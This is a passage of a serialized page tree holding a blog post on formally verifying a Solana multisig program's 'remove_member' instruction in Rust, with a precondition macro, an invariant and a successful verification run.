size",{"type":21,"tag":85,"props":25795,"children":25796},{"style":169},[25797],{"type":26,"value":172},{"type":21,"tag":85,"props":25799,"children":25800},{"style":2285},[25801],{"type":26,"value":25802}," 5112",{"type":21,"tag":85,"props":25804,"children":25805},{"style":114},[25806],{"type":26,"value":182},{"type":21,"tag":85,"props":25808,"children":25809},{"class":87,"line":1386},[25810],{"type":21,"tag":85,"props":25811,"children":25812},{"style":114},[25813],{"type":26,"value":25814},"        },\n",{"type":21,"tag":85,"props":25816,"children":25817},{"class":87,"line":1394},[25818],{"type":21,"tag":85,"props":25819,"children":25820},{"style":114},[25821],{"type":26,"value":25822},"    },\n",{"type":21,"tag":85,"props":25824,"children":25825},{"class":87,"line":1402},[25826,25831,25835,25840,25844,25848],{"type":21,"tag":85,"props":25827,"children":25828},{"style":120},[25829],{"type":26,"value":25830},"    info",{"type":21,"tag":85,"props":25832,"children":25833},{"style":169},[25834],{"type":26,"value":172},{"type":21,"tag":85,"props":25836,"children":25837},{"style":108},[25838],{"type":26,"value":25839}," AccountInfo",{"type":21,"tag":85,"props":25841,"children":25842},{"style":114},[25843],{"type":26,"value":9999},{"type":21,"tag":85,"props":25845,"children":25846},{"style":169},[25847],{"type":26,"value":10004},{"type":21,"tag":85,"props":25849,"children":25850},{"style":114},[25851],{"type":26,"value":25852}," },\n",{"type":21,"tag":85,"props":25854,"children":25855},{"class":87,"line":3145},[25856],{"type":21,"tag":85,"props":25857,"children":25858},{"style":114},[25859],{"type":26,"value":2671},{"type":21,"tag":22,"props":25861,"children":25862},{},[25863,25865,25870,25872,25877],{"type":26,"value":25864},"Here we see that the ",{"type":21,"tag":66,"props":25866,"children":25868},{"className":25867},[],[25869],{"type":26,"value":23178},{"type":26,"value":25871}," of the newly created ",{"type":21,"tag":66,"props":25873,"children":25875},{"className":25874},[],[25876],{"type":26,"value":23170},{"type":26,"value":25878}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":21,"tag":10022,"props":25880,"children":25882},{"id":25881},"verify-requirements-to-remove-a-member",[25883],{"type":26,"value":23208},{"type":21,"tag":22,"props":25885,"children":25886},{},[25887,25889,25894,25895,25900,25902,25908],{"type":26,"value":25888},"Now that we've seen both ",{"type":21,"tag":66,"props":25890,"children":25892},{"className":25891},[],[25893],{"type":26,"value":20582},{"type":26,"value":11408},{"type":21,"tag":66,"props":25896,"children":25898},{"className":25897},[],[25899],{"type":26,"value":22206},{"type":26,"value":25901}," let's take a look at the ",{"type":21,"tag":66,"props":25903,"children":25905},{"className":25904},[],[25906],{"type":26,"value":25907},"remove_member",{"type":26,"value":25909}," function:",{"type":21,"tag":75,"props":25911,"children":25913},{"code":25912,"language":79,"meta":7,"className":77,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[25914],{"type":21,"tag":66,"props":25915,"children":25916},{"__ignoreMap":7},[25917,25940,25968,25983,26028,26035,26047,26063,26075,26101,26109,26138,26145,26177,26184,26191,26265,26273,26333,26365,26372,26423,26430,26438,26531,26620,26674,26681,26726,26771],{"type":21,"tag":85,"props":25918,"children":25919},{"class":87,"line":88},[25920,25924,25928,25932,25936],{"type":21,"tag":85,"props":25921,"children":25922},{"style":114},[25923],{"type":26,"value":23266},{"type":21,"tag":85,"props":25925,"children":25926},{"style":108},[25927],{"type":26,"value":23271},{"type":21,"tag":85,"props":25929,"children":25930},{"style":114},[25931],{"type":26,"value":256},{"type":21,"tag":85,"props":25933,"children":25934},{"style":108},[25935],{"type":26,"value":25151},{"type":21,"tag":85,"props":25937,"children":25938},{"style":114},[25939],{"type":26,"value":20686},{"type":21,"tag":85,"props":25941,"children":25942},{"class":87,"line":98},[25943,25947,25951,25956,25960,25964],{"type":21,"tag":85,"props":25944,"children":25945},{"style":102},[25946],{"type":26,"value":14108},{"type":21,"tag":85,"props":25948,"children":25949},{"style":102},[25950],{"type":26,"value":21579},{"type":21,"tag":85,"props":25952,"children":25953},{"style":108},[25954],{"type":26,"value":25955}," MsAuth",{"type":21,"tag":85,"props":25957,"children":25958},{"style":114},[25959],{"type":26,"value":23351},{"type":21,"tag":85,"props":25961,"children":25962},{"style":108},[25963],{"type":26,"value":23356},{"type":21,"tag":85,"props":25965,"children":25966},{"style":114},[25967],{"type":26,"value":1627},{"type":21,"tag":85,"props":25969,"children":25970},{"class":87,"line":151},[25971,25975,25979],{"type":21,"tag":85,"props":25972,"children":25973},{"style":114},[25974],{"type":26,"value":23558},{"type":21,"tag":85,"props":25976,"children":25977},{"style":102},[25978],{"type":26,"value":2039},{"type":21,"tag":85,"props":25980,"children":25981},{"style":114},[25982],{"type":26,"value":20686},{"type":21,"tag":85,"props":25984,"children":25985},{"class":87,"line":160},[25986,25991,25995,26000,26004,26008,26012,26016,26020,26024],{"type":21,"tag":85,"props":25987,"children":25988},{"style":120},[25989],{"type":26,"value":25990},"    multisig",{"type":21,"tag":85,"props":25992,"children":25993},{"style":169},[25994],{"type":26,"value":172},{"type":21,"tag":85,"props":25996,"children":25997},{"style":108},[25998],{"type":26,"value":25999}," Box",{"type":21,"tag":85,"props":26001,"children":26002},{"style":114},[26003],{"type":26,"value":117},{"type":21,"tag":85,"props":26005,"children":26006},{"style":108},[26007],{"type":26,"value":17568},{"type":21,"tag":85,"props":26009,"children":26010},{"style":114},[26011],{"type":26,"value":23351},{"type":21,"tag":85,"props":26013,"children":26014},{"style":108},[26015],{"type":26,"value":23356},{"type":21,"tag":85,"props":26017,"children":26018},{"style":114},[26019],{"type":26,"value":256},{"type":21,"tag":85,"props":26021,"children":26022},{"style":108},[26023],{"type":26,"value":23170},{"type":21,"tag":85,"props":26025,"children":26026},{"style":114},[26027],{"type":26,"value":1291},{"type":21,"tag":85,"props":26029,"children":26030},{"class":87,"line":185},[26031],{"type":21,"tag":85,"props":26032,"children":26033},{"style":114},[26034],{"type":26,"value":23368},{"type":21,"tag":85,"props":26036,"children":26037},{"class":87,"line":501},[26038,26043],{"type":21,"tag":85,"props":26039,"children":26040},{"style":102},[26041],{"type":26,"value":26042},"        mut",{"type":21,"tag":85,"props":26044,"children":26045},{"style":114},[26046],{"type":26,"value":182},{"type":21,"tag":85,"props":26048,"children":26049},{"class":87,"line":697},[26050,26054,26058],{"type":21,"tag":85,"props":26051,"children":26052},{"style":114},[26053],{"type":26,"value":23452},{"type":21,"tag":85,"props":26055,"children":26056},{"style":169},[26057],{"type":26,"value":741},{"type":21,"tag":85,"props":26059,"children":26060},{"style":114},[26061],{"type":26,"value":26062}," [\n",{"type":21,"tag":85,"props":26064,"children":26065},{"class":87,"line":706},[26066,26071],{"type":21,"tag":85,"props":26067,"children":26068},{"style":5026},[26069],{"type":26,"value":26070},"            b\"squad\"",{"type":21,"tag":85,"props":26072,"children":26073},{"style":114},[26074],{"type":26,"value":182},{"type":21,"tag":85,"props":26076,"children":26077},{"class":87,"line":1100},[26078,26083,26087,26092,26096],{"type":21,"tag":85,"props":26079,"children":26080},{"style":114},[26081],{"type":26,"value":26082},"            multisig",{"type":21,"tag":85,"props":26084,"children":26085},{"style":169},[26086],{"type":26,"value":73},{"type":21,"tag":85,"props":26088,"children":26089},{"style":114},[26090],{"type":26,"value":26091},"create_key",{"type":21,"tag":85,"props":26093,"children":26094},{"style":169},[26095],{"type":26,"value":73},{"type":21,"tag":85,"props":26097,"children":26098},{"style":114},[26099],{"type":26,"value":26100},"as_ref(),\n",{"type":21,"tag":85,"props":26102,"children":26103},{"class":87,"line":1339},[26104],{"type":21,"tag":85,"props":26105,"children":26106},{"style":5026},[26107],{"type":26,"value":26108},"            b\"multisig\"\n",{"type":21,"tag":85,"props":26110,"children":26111},{"class":87,"line":1348},[26112,26117,26122,26126,26130,26134],{"type":21,"tag":85,"props":26113,"children":26114},{"style":114},[26115],{"type":26,"value":26116},"        ], ",{"type":21,"tag":85,"props":26118,"children":26119},{"style":120},[26120],{"type":26,"value":26121},"bump",{"type":21,"tag":85,"props":26123,"children":26124},{"style":169},[26125],{"type":26,"value":1941},{"type":21,"tag":85,"props":26127,"children":26128},{"style":120},[26129],{"type":26,"value":23514},{"type":21,"tag":85,"props":26131,"children":26132},{"style":169},[26133],{"type":26,"value":73},{"type":21,"tag":85,"props":26135,"children":26136},{"style":114},[26137],{"type":26,"value":23494},{"type":21,"tag":85,"props":26139,"children":26140},{"class":87,"line":1386},[26141],{"type":21,"tag":85,"props":26142,"children":26143},{"style":114},[26144],{"type":26,"value":23502},{"type":21,"tag":85,"props":26146,"children":26147},{"class":87,"line":1394},[26148,26152,26157,26161,26165,26169,26173],{"type":21,"tag":85,"props":26149,"children":26150},{"style":102},[26151],{"type":26,"value":21271},{"type":21,"tag":85,"props":26153,"children":26154},{"style":120},[26155],{"type":26,"value":26156}," multisig_auth",{"type":21,"tag":85,"props":26158,"children":26159},{"style":169},[26160],{"type":26,"value":172},{"type":21,"tag":85,"props":26162,"children":26163},{"style":108},[26164],{"type":26,"value":23587},{"type":21,"tag":85,"props":26166,"children":26167},{"style":114},[26168],{"type":26,"value":23351},{"type":21,"tag":85,"props":26170,"children":26171},{"style":108},[26172],{"type":26,"value":23356},{"type":21,"tag":85,"props":26174,"children":26175},{"style":114},[26176],{"type":26,"value":461},{"type":21,"tag":85,"props":26178,"children":26179},{"class":87,"line":1402},[26180],{"type":21,"tag":85,"props":26181,"children":26182},{"style":114},[26183],{"type":26,"value":2671},{"type":21,"tag":85,"props":26185,"children":26186},{"class":87,"line":3145},[26187],{"type":21,"tag":85,"props":26188,"children":26189},{"emptyLinePlaceholder":16},[26190],{"type":26,"value":703},{"type":21,"tag":85,"props":26192,"children":26193},{"class":87,"line":3246},[26194,26198,26202,26207,26211,26215,26219,26223,26227,26232,26236,26241,26245,26249,26253,26257,26261],{"type":21,"tag":85,"props":26195,"children":26196},{"style":102},[26197],{"type":26,"value":14108},{"type":21,"tag":85,"props":26199,"children":26200},{"style":102},[26201],{"type":26,"value":14113},{"type":21,"tag":85,"props":26203,"children":26204},{"style":1021},[26205],{"type":26,"value":26206}," remove_member",{"type":21,"tag":85,"props":26208,"children":26209},{"style":114},[26210],{"type":26,"value":1439},{"type":21,"tag":85,"props":26212,"children":26213},{"style":120},[26214],{"type":26,"value":20708},{"type":21,"tag":85,"props":26216,"children":26217},{"style":169},[26218],{"type":26,"value":172},{"type":21,"tag":85,"props":26220,"children":26221},{"style":108},[26222],{"type":26,"value":20717},{"type":21,"tag":85,"props":26224,"children":26225},{"style":114},[26226],{"type":26,"value":117},{"type":21,"tag":85,"props":26228,"children":26229},{"style":108},[26230],{"type":26,"value":26231},"MsAuth",{"type":21,"tag":85,"props":26233,"children":26234},{"style":114},[26235],{"type":26,"value":966},{"type":21,"tag":85,"props":26237,"children":26238},{"style":120},[26239],{"type":26,"value":26240},"old_member",{"type":21,"tag":85,"props":26242,"children":26243},{"style":169},[26244],{"type":26,"value":172},{"type":21,"tag":85,"props":26246,"children":26247},{"style":108},[26248],{"type":26,"value":21285},{"type":21,"tag":85,"props":26250,"children":26251},{"style":114},[26252],{"type":26,"value":736},{"type":21,"tag":85,"props":26254,"children":26255},{"style":169},[26256],{"type":26,"value":14175},{"type":21,"tag":85,"props":26258,"children":26259},{"style":108},[26260],{"type":26,"value":14180},{"type":21,"tag":85,"props":26262,"children":26263},{"style":114},[26264],{"type":26,"value":20759},{"type":21,"tag":85,"props":26266,"children":26267},{"class":87,"line":3255},[26268],{"type":21,"tag":85,"props":26269,"children":26270},{"style":92},[26271],{"type":26,"value":26272},"    // if there is only one key in this multisig, reject the removal\n",{"type":21,"tag":85,"props":26274,"children":26275},{"class":87,"line":3286},[26276,26280,26285,26289,26293,26297,26301,26305,26309,26313,26317,26321,26325,26329],{"type":21,"tag":85,"props":26277,"children":26278},{"style":2885},[26279],{"type":26,"value":12696},{"type":21,"tag":85,"props":26281,"children":26282},{"style":120},[26283],{"type":26,"value":26284}," ctx",{"type":21,"tag":85,"props":26286,"children":26287},{"style":169},[26288],{"type":26,"value":73},{"type":21,"tag":85,"props":26290,"children":26291},{"style":114},[26292],{"type":26,"value":15093},{"type":21,"tag":85,"props":26294,"children":26295},{"style":169},[26296],{"type":26,"value":73},{"type":21,"tag":85,"props":26298,"children":26299},{"style":114},[26300],{"type":26,"value":24245},{"type":21,"tag":85,"props":26302,"children":26303},{"style":169},[26304],{"type":26,"value":73},{"type":21,"tag":85,"props":26306,"children":26307},{"style":114},[26308],{"type":26,"value":21411},{"type":21,"tag":85,"props":26310,"children":26311},{"style":169},[26312],{"type":26,"value":73},{"type":21,"tag":85,"props":26314,"children":26315},{"style":1021},[26316],{"type":26,"value":3520},{"type":21,"tag":85,"props":26318,"children":26319},{"style":114},[26320],{"type":26,"value":14461},{"type":21,"tag":85,"props":26322,"children":26323},{"style":169},[26324],{"type":26,"value":2936},{"type":21,"tag":85,"props":26326,"children":26327},{"style":2285},[26328],{"type":26,"value":3279},{"type":21,"tag":85,"props":26330,"children":26331},{"style":114},[26332],{"type":26,"value":148},{"type":21,"tag":85,"props":26334,"children":26335},{"class":87,"line":3295},[26336,26340,26344,26348,26352,26356,26361],{"type":21,"tag":85,"props":26337,"children":26338},{"style":2885},[26339],{"type":26,"value":16164},{"type":21,"tag":85,"props":26341,"children":26342},{"style":1021},[26343],{"type":26,"value":23948},{"type":21,"tag":85,"props":26345,"children":26346},{"style":114},[26347],{"type":26,"value":1439},{"type":21,"tag":85,"props":26349,"children":26350},{"style":108},[26351],{"type":26,"value":23957},{"type":21,"tag":85,"props":26353,"children":26354},{"style":169},[26355],{"type":26,"value":1087},{"type":21,"tag":85,"props":26357,"children":26358},{"style":108},[26359],{"type":26,"value":26360},"CannotRemoveSoloMember",{"type":21,"tag":85,"props":26362,"children":26363},{"style":114},[26364],{"type":26,"value":777},{"type":21,"tag":85,"props":26366,"children":26367},{"class":87,"line":3308},[26368],{"type":21,"tag":85,"props":26369,"children":26370},{"style":114},[26371],{"type":26,"value":507},{"type":21,"tag":85,"props":26373,"children":26374},{"class":87,"line":3333},[26375,26379,26383,26387,26391,26395,26399,26403,26407,26411,26415,26419],{"type":21,"tag":85,"props":26376,"children":26377},{"style":120},[26378],{"type":26,"value":20651},{"type":21,"tag":85,"props":26380,"children":26381},{"style":169},[26382],{"type":26,"value":73},{"type":21,"tag":85,"props":26384,"children":26385},{"style":114},[26386],{"type":26,"value":15093},{"type":21,"tag":85,"props":26388,"children":26389},{"style":169},[26390],{"type":26,"value":73},{"type":21,"tag":85,"props":26392,"children":26393},{"style":114},[26394],{"type":26,"value":24245},{"type":21,"tag":85,"props":26396,"children":26397},{"style":169},[26398],{"type":26,"value":73},{"type":21,"tag":85,"props":26400,"children":26401},{"style":1021},[26402],{"type":26,"value":25907},{"type":21,"tag":85,"props":26404,"children":26405},{"style":114},[26406],{"type":26,"value":1439},{"type":21,"tag":85,"props":26408,"children":26409},{"style":120},[26410],{"type":26,"value":26240},{"type":21,"tag":85,"props":26412,"children":26413},{"style":114},[26414],{"type":26,"value":1900},{"type":21,"tag":85,"props":26416,"children":26417},{"style":169},[26418],{"type":26,"value":3927},{"type":21,"tag":85,"props":26420,"children":26421},{"style":114},[26422],{"type":26,"value":2535},{"type":21,"tag":85,"props":26424,"children":26425},{"class":87,"line":3369},[26426],{"type":21,"tag":85,"props":26427,"children":26428},{"emptyLinePlaceholder":16},[26429],{"type":26,"value":703},{"type":21,"tag":85,"props":26431,"children":26432},{"class":87,"line":3377},[26433],{"type":21,"tag":85,"props":26434,"children":26435},{"style":92},[26436],{"type":26,"value":26437},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":21,"tag":85,"props":26439,"children":26440},{"class":87,"line":3386},[26441,26445,26449,26453,26457,26461,26465,26469,26473,26477,26481,26486,26490,26494,26498,26502,26506,26510,26514,26518,26522,26526],{"type":21,"tag":85,"props":26442,"children":26443},{"style":2885},[26444],{"type":26,"value":12696},{"type":21,"tag":85,"props":26446,"children":26447},{"style":120},[26448],{"type":26,"value":26284},{"type":21,"tag":85,"props":26450,"children":26451},{"style":169},[26452],{"type":26,"value":73},{"type":21,"tag":85,"props":26454,"children":26455},{"style":114},[26456],{"type":26,"value":15093},{"type":21,"tag":85,"props":26458,"children":26459},{"style":169},[26460],{"type":26,"value":73},{"type":21,"tag":85,"props":26462,"children":26463},{"style":114},[26464],{"type":26,"value":24245},{"type":21,"tag":85,"props":26466,"children":26467},{"style":169},[26468],{"type":26,"value":73},{"type":21,"tag":85,"props":26470,"children":26471},{"style":114},[26472],{"type":26,"value":21411},{"type":21,"tag":85,"props":26474,"children":26475},{"style":169},[26476],{"type":26,"value":73},{"type":21,"tag":85,"props":26478,"children":26479},{"style":1021},[26480],{"type":26,"value":3520},{"type":21,"tag":85,"props":26482,"children":26483},{"style":114},[26484],{"type":26,"value":26485},"() \u003C ",{"type":21,"tag":85,"props":26487,"children":26488},{"style":108},[26489],{"type":26,"value":17022},{"type":21,"tag":85,"props":26491,"children":26492},{"style":169},[26493],{"type":26,"value":1087},{"type":21,"tag":85,"props":26495,"children":26496},{"style":1021},[26497],{"type":26,"value":19900},{"type":21,"tag":85,"props":26499,"children":26500},{"style":114},[26501],{"type":26,"value":1439},{"type":21,"tag":85,"props":26503,"children":26504},{"style":120},[26505],{"type":26,"value":20708},{"type":21,"tag":85,"props":26507,"children":26508},{"style":169},[26509],{"type":26,"value":73},{"type":21,"tag":85,"props":26511,"children":26512},{"style":114},[26513],{"type":26,"value":15093},{"type":21,"tag":85,"props":26515,"children":26516},{"style":169},[26517],{"type":26,"value":73},{"type":21,"tag":85,"props":26519,"children":26520},{"style":114},[26521],{"type":26,"value":24245},{"type":21,"tag":85,"props":26523,"children":26524},{"style":169},[26525],{"type":26,"value":73},{"type":21,"tag":85,"props":26527,"children":26528},{"style":114},[26529],{"type":26,"value":26530},"threshold) {\n",{"type":21,"tag":85,"props":26532,"children":26533},{"class":87,"line":3394},[26534,26538,26543,26547,26551,26555,26559,26563,26567,26571,26575,26579,26583,26587,26591,26595,26599,26604,26608,26612,26616],{"type":21,"tag":85,"props":26535,"children":26536},{"style":102},[26537],{"type":26,"value":1931},{"type":21,"tag":85,"props":26539,"children":26540},{"style":120},[26541],{"type":26,"value":26542}," new_threshold",{"type":21,"tag":85,"props":26544,"children":26545},{"style":169},[26546],{"type":26,"value":172},{"type":21,"tag":85,"props":26548,"children":26549},{"style":108},[26550],{"type":26,"value":21458},{"type":21,"tag":85,"props":26552,"children":26553},{"style":169},[26554],{"type":26,"value":1941},{"type":21,"tag":85,"props":26556,"children":26557},{"style":120},[26558],{"type":26,"value":26284},{"type":21,"tag":85,"props":26560,"children":26561},{"style":169},[26562],{"type":26,"value":73},{"type":21,"tag":85,"props":26564,"children":26565},{"style":114},[26566],{"type":26,"value":15093},{"type":21,"tag":85,"props":26568,"children":26569},{"style":169},[26570],{"type":26,"value":73},{"type":21,"tag":85,"props":26572,"children":26573},{"style":114},[26574],{"type":26,"value":24245},{"type":21,"tag":85,"props":26576,"children":26577},{"style":169},[26578],{"type":26,"value":73},{"type":21,"tag":85,"props":26580,"children":26581},{"style":114},[26582],{"type":26,"value":21411},{"type":21,"tag":85,"props":26584,"children":26585},{"style":169},[26586],{"type":26,"value":73},{"type":21,"tag":85,"props":26588,"children":26589},{"style":1021},[26590],{"type":26,"value":3520},{"type":21,"tag":85,"props":26592,"children":26593},{"style":114},[26594],{"type":26,"value":14297},{"type":21,"tag":85,"props":26596,"children":26597},{"style":169},[26598],{"type":26,"value":73},{"type":21,"tag":85,"props":26600,"children":26601},{"style":1021},[26602],{"type":26,"value":26603},"try_into",{"type":21,"tag":85,"props":26605,"children":26606},{"style":114},[26607],{"type":26,"value":14297},{"type":21,"tag":85,"props":26609,"children":26610},{"style":169},[26611],{"type":26,"value":73},{"type":21,"tag":85,"props":26613,"children":26614},{"style":1021},[26615],{"type":26,"value":4432},{"type":21,"tag":85,"props":26617,"children":26618},{"style":114},[26619],{"type":26,"value":4437},{"type":21,"tag":85,"props":26621,"children":26622},{"class":87,"line":3410},[26623,26628,26632,26636,26640,26644,26648,26653,26657,26662,26666,26670],{"type":21,"tag":85,"props":26624,"children":26625},{"style":120},[26626],{"type":26,"value":26627},"        ctx",{"type":21,"tag":85,"props":26629,"children":26630},{"style":169},[26631],{"type":26,"value":73},{"type":21,"tag":85,"props":26633,"children":26634},{"style":114},[26635],{"type":26,"value":15093},{"type":21,"tag":85,"props":26637,"children":26638},{"style":169},[26639],{"type":26,"value":73},{"type":21,"tag":85,"props":26641,"children":26642},{"style":114},[26643],{"type":26,"value":24245},{"type":21,"tag":85,"props":26645,"children":26646},{"style":169},[26647],{"type":26,"value":73},{"type":21,"tag":85,"props":26649,"children":26650},{"style":1021},[26651],{"type":26,"value":26652},"change_threshold",{"type":21,"tag":85,"props":26654,"children":26655},{"style":114},[26656],{"type":26,"value":1439},{"type":21,"tag":85,"props":26658,"children":26659},{"style":120},[26660],{"type":26,"value":26661},"new_threshold",{"type":21,"tag":85,"props":26663,"children":26664},{"style":114},[26665],{"type":26,"value":1900},{"type":21,"tag":85,"props":26667,"children":26668},{"style":169},[26669],{"type":26,"value":3927},{"type":21,"tag":85,"props":26671,"children":26672},{"style":114},[26673],{"type":26,"value":2535},{"type":21,"tag":85,"props":26675,"children":26676},{"class":87,"line":3427},[26677],{"type":21,"tag":85,"props":26678,"children":26679},{"style":114},[26680],{"type":26,"value":507},{"type":21,"tag":85,"props":26682,"children":26683},{"class":87,"line":3445},[26684,26688,26693,26697,26701,26705,26709,26713,26717,26721],{"type":21,"tag":85,"props":26685,"children":26686},{"style":102},[26687],{"type":26,"value":3778},{"type":21,"tag":85,"props":26689,"children":26690},{"style":120},[26691],{"type":26,"value":26692}," new_index",{"type":21,"tag":85,"props":26694,"children":26695},{"style":169},[26696],{"type":26,"value":1941},{"type":21,"tag":85,"props":26698,"children":26699},{"style":120},[26700],{"type":26,"value":26284},{"type":21,"tag":85,"props":26702,"children":26703},{"style":169},[26704],{"type":26,"value":73},{"type":21,"tag":85,"props":26706,"children":26707},{"style":114},[26708],{"type":26,"value":15093},{"type":21,"tag":85,"props":26710,"children":26711},{"style":169},[26712],{"type":26,"value":73},{"type":21,"tag":85,"props":26714,"children":26715},{"style":114},[26716],{"type":26,"value":24245},{"type":21,"tag":85,"props":26718,"children":26719},{"style":169},[26720],{"type":26,"value":73},{"type":21,"tag":85,"props":26722,"children":26723},{"style":114},[26724],{"type":26,"value":26725},"transaction_index;\n",{"type":21,"tag":85,"props":26727,"children":26728},{"class":87,"line":3490},[26729,26733,26737,26741,26745,26749,26753,26758,26762,26767],{"type":21,"tag":85,"props":26730,"children":26731},{"style":120},[26732],{"type":26,"value":20651},{"type":21,"tag":85,"props":26734,"children":26735},{"style":169},[26736],{"type":26,"value":73},{"type":21,"tag":85,"props":26738,"children":26739},{"style":114},[26740],{"type":26,"value":15093},{"type":21,"tag":85,"props":26742,"children":26743},{"style":169},[26744],{"type":26,"value":73},{"type":21,"tag":85,"props":26746,"children":26747},{"style":114},[26748],{"type":26,"value":24245},{"type":21,"tag":85,"props":26750,"children":26751},{"style":169},[26752],{"type":26,"value":73},{"type":21,"tag":85,"props":26754,"children":26755},{"style":1021},[26756],{"type":26,"value":26757},"set_change_index",{"type":21,"tag":85,"props":26759,"children":26760},{"style":114},[26761],{"type":26,"value":1439},{"type":21,"tag":85,"props":26763,"children":26764},{"style":120},[26765],{"type":26,"value":26766},"new_index",{"type":21,"tag":85,"props":26768,"children":26769},{"style":114},[26770],{"type":26,"value":2485},{"type":21,"tag":85,"props":26772,"children":26773},{"class":87,"line":3596},[26774],{"type":21,"tag":85,"props":26775,"children":26776},{"style":114},[26777],{"type":26,"value":2671},{"type":21,"tag":22,"props":26779,"children":26780},{},[26781,26783,26788],{"type":26,"value":26782},"First let's establish the ",{"type":21,"tag":66,"props":26784,"children":26786},{"className":26785},[],[26787],{"type":26,"value":20582},{"type":26,"value":26789}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":21,"tag":75,"props":26791,"children":26793},{"code":26792,"language":79,"meta":7,"className":77,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[26794],{"type":21,"tag":66,"props":26795,"children":26796},{"__ignoreMap":7},[26797,26804,26851,26858],{"type":21,"tag":85,"props":26798,"children":26799},{"class":87,"line":88},[26800],{"type":21,"tag":85,"props":26801,"children":26802},{"style":114},[26803],{"type":26,"value":24552},{"type":21,"tag":85,"props":26805,"children":26806},{"class":87,"line":98},[26807,26811,26815,26819,26823,26827,26831,26835,26839,26843,26847],{"type":21,"tag":85,"props":26808,"children":26809},{"style":114},[26810],{"type":26,"value":20651},{"type":21,"tag":85,"props":26812,"children":26813},{"style":169},[26814],{"type":26,"value":73},{"type":21,"tag":85,"props":26816,"children":26817},{"style":114},[26818],{"type":26,"value":15093},{"type":21,"tag":85,"props":26820,"children":26821},{"style":169},[26822],{"type":26,"value":73},{"type":21,"tag":85,"props":26824,"children":26825},{"style":114},[26826],{"type":26,"value":24245},{"type":21,"tag":85,"props":26828,"children":26829},{"style":169},[26830],{"type":26,"value":73},{"type":21,"tag":85,"props":26832,"children":26833},{"style":114},[26834],{"type":26,"value":21411},{"type":21,"tag":85,"props":26836,"children":26837},{"style":169},[26838],{"type":26,"value":73},{"type":21,"tag":85,"props":26840,"children":26841},{"style":114},[26842],{"type":26,"value":21449},{"type":21,"tag":85,"props":26844,"children":26845},{"style":169},[26846],{"type":26,"value":10877},{"type":21,"tag":85,"props":26848,"children":26849},{"style":114},[26850],{"type":26,"value":19869},{"type":21,"tag":85,"props":26852,"children":26853},{"class":87,"line":151},[26854],{"type":21,"tag":85,"props":26855,"children":26856},{"style":114},[26857],{"type":26,"value":20686},{"type":21,"tag":85,"props":26859,"children":26860},{"class":87,"line":160},[26861,26865,26869,26873,26877,26881,26885],{"type":21,"tag":85,"props":26862,"children":26863},{"style":102},[26864],{"type":26,"value":20694},{"type":21,"tag":85,"props":26866,"children":26867},{"style":1021},[26868],{"type":26,"value":26206},{"type":21,"tag":85,"props":26870,"children":26871},{"style":114},[26872],{"type":26,"value":1439},{"type":21,"tag":85,"props":26874,"children":26875},{"style":169},[26876],{"type":26,"value":10004},{"type":21,"tag":85,"props":26878,"children":26879},{"style":114},[26880],{"type":26,"value":24429},{"type":21,"tag":85,"props":26882,"children":26883},{"style":169},[26884],{"type":26,"value":10004},{"type":21,"tag":85,"props":26886,"children":26887},{"style":114},[26888],{"type":26,"value":10009},{"type":21,"tag":22,"props":26890,"children":26891},{},[26892,26894,26899],{"type":26,"value":26893},"And for now let's remove the invariant on the ",{"type":21,"tag":66,"props":26895,"children":26897},{"className":26896},[],[26898],{"type":26,"value":23170},{"type":26,"value":26900}," account:",{"type":21,"tag":75,"props":26902,"children":26904},{"code":26903,"language":79,"meta":7,"className":77,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[26905],{"type":21,"tag":66,"props":26906,"children":26907},{"__ignoreMap":7},[26908,26916],{"type":21,"tag":85,"props":26909,"children":26910},{"class":87,"line":88},[26911],{"type":21,"tag":85,"props":26912,"children":26913},{"style":114},[26914],{"type":26,"value":26915},"#[invariant()]\n",{"type":21,"tag":85,"props":26917,"children":26918},{"class":87,"line":98},[26919,26923,26927,26931,26935,26939],{"type":21,"tag":85,"props":26920,"children":26921},{"style":102},[26922],{"type":26,"value":14108},{"type":21,"tag":85,"props":26924,"children":26925},{"style":102},[26926],{"type":26,"value":21579},{"type":21,"tag":85,"props":26928,"children":26929},{"style":108},[26930],{"type":26,"value":21584},{"type":21,"tag":85,"props":26932,"children":26933},{"style":114},[26934],{"type":26,"value":9999},{"type":21,"tag":85,"props":26936,"children":26937},{"style":169},[26938],{"type":26,"value":10004},{"type":21,"tag":85,"props":26940,"children":26941},{"style":114},[26942],{"type":26,"value":10009},{"type":21,"tag":22,"props":26944,"children":26945},{},[26946],{"type":26,"value":26947},"Let's test this!",{"type":21,"tag":22,"props":26949,"children":26950},{},[26951,26953,26958],{"type":26,"value":26952},"Our ",{"type":21,"tag":66,"props":26954,"children":26956},{"className":26955},[],[26957],{"type":26,"value":20582},{"type":26,"value":26959}," harness produces:",{"type":21,"tag":75,"props":26961,"children":26963},{"code":26962},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[26964],{"type":21,"tag":66,"props":26965,"children":26966},{"__ignoreMap":7},[26967],{"type":26,"value":26962},{"type":21,"tag":22,"props":26969,"children":26970},{},[26971],{"type":26,"value":26972},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":21,"tag":22,"props":26974,"children":26975},{},[26976,26978,26983],{"type":26,"value":26977},"However, remember that since 